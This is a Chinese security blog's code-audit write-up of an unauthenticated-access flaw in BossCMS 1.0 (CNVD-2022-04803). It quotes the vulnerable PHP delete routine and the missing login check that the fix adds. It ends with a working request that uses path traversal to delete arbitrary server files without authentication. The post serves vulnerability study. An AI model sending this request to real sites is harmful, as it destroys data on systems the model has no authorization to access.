前言
bosscms是温州互引信息技术有限公司开发的一款基于自主研发PHP框架MySQL架构的内容管理系统。
编号:CNVD-2022-04803
漏洞复现
下载版本1.0,安装完成如下:
![图片[1]-【代码审计】BossCMS1.0存在未授权访问漏洞-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd165610.png)
根据漏洞名称我们知道,未授权漏洞
那么我们现在有两种思路:
- 后台测试功能点,然后通过无痕模式测试
- 通过对比修复版本代码进行比价,获取有问题的地方
这里也是学习到一个小技巧,测试未授权,常规测试点主要是:上传、下载、删除、修改,这种明显的
这里我们就拿删除进行复现
![图片[2]-【代码审计】BossCMS1.0存在未授权访问漏洞-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd170015.png)
通过抓包获取到连接,然后进行重放测试:
存在cookie:
![图片[3]-【代码审计】BossCMS1.0存在未授权访问漏洞-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd170200.png)
未授权状态,删除cookie:
![图片[4]-【代码审计】BossCMS1.0存在未授权访问漏洞-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd170411.png)
虽然提示的首页,但是查看文件目录,文件已经被删除啦
漏洞审计
这里先用文件对比的方式,说一下漏洞产生的原理:
![图片[5]-【代码审计】BossCMS1.0存在未授权访问漏洞-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/06/d2b5ca33bd170618.png)
通过查看修复版本的代码可以发现,这里多了一个die('login');
现在我们看看这个删除的原理 文件位置:system\admin\safe\backup.class.php
public function delete()
{
global $G;
if(isset($G['post']['url']) && isset($G['get']['id'])){
$del = array();
$arr = explode(',',$G['get']['id']);
foreach($arr as $id){
$file = SYSTEM_PATH.$this->sql.str_replace(P,',',$id);
if(is_file($file)){
$del[$id] = $file;
}
}
if($del){
$error=array();
foreach($del as $id=>$file){
if(dir::delete($file)){
}else{
$error[]=$id;
}
}
if($error){
alert('文件名为'.implode(',',$error).'删除失败');
}else{
alert('删除成功', url::mpf('safe','backup','table',array('id'=>null)));
}
}else{
alert('没有删除对象!');
}
}
alert('没有提交信息!');
}
}
这里有个自定义函数 delete:
public static function delete($path){
$path = self::replace($path);
if(is_file($path)){
if(unlink($path)){
return true;
}
}else{
return self::remove($path);
}
}
主要就是一个unlink函数
if(isset($G['post']['url']) && isset($G['get']['id'])){
$del = array();
$arr = explode(',',$G['get']['id']);
foreach($arr as $id){
$file = SYSTEM_PATH.$this->sql.str_replace(P,',',$id);
if(is_file($file)){
$del[$id] = $file;
}
}
触发删除函数的条件:isset($G['post']['url']) && isset($G['get']['id'])
其中用get参数传入删除文件地址,post传入跳转地址url即可
http://127.0.0.1/BossCMS-V1.1.0/admin/?mold=safe&part=backup&func=delete&id=../../../1.txt
post 数据:url=1
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END















请登录后查看评论内容